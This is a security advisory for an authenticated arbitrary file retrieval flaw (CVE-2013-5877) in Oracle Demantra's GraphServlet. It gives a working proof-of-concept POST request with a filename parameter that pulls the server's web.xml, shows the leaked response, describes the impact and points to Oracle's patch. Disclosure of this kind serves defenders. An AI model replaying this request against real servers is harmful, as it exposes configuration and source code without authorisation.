Oracle Demantra - Arbitrary File Retrieval (CVE-2013-5877) - Authenticated

Oracle Demantra - Arbitrary File Retrieval (CVE-2013-5877) - Authenticated

Vulnerable Systems:

Description:

The application is vulnerable to Arbitrary File Retrieval.

POC:

The vulnerable page is:

  • /demantra/GraphServlet
POST /demantra/GraphServlet HTTP/1.1
Host: 192.168.14.171:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 46

filename=C:/Program Files (x86)/Oracle Demantra Spectrum/Collaborator/demantra/WEB-INF/web.xml
Response
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: image/png
Content-Length: 44378
Date: Fri, 02 Aug 2013 20:20:58 GMT

<?xml version="1.0" encoding="UTF-8"?>
 
   <web-app
    id="WebApp_9" version="2.4" xmlns="http://java.sun.com/xml/ns/j2ee" 
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
    xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
    http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">   

    


    <!-- Important Notice -->
    <!--
        The order of elements in the web.xml is significant for some
        Application Server parsers like WebSphere. The expected order is
        examplified in the comments of this file. Each element section has a
        Start comment(***) and an End comment. Please make sure to add new
        elements in the appropriate section of the file delimited by the
        relevant comment.
    -->

    <!-- ***Icons Start -->
    <!-- ***Icons End -->
...

Impact:

Impact can differ based on the exploitation and the read permission of the web server user. Depending on these factors an attacker might carry out one or more of the following attacks:

  • Harvest useful information from the web.xml configuration file.
  • Download the whole web application source code like the vulnerable page itself.

Recommendation:

Please see the according Oracle CPU under:
http://www.oracle.com/technetwork/topics/security/cpujan2014-1972949.html

© 2015 coma. All rights reserved.
Disclaimer: There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk.
In no event shall the author be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.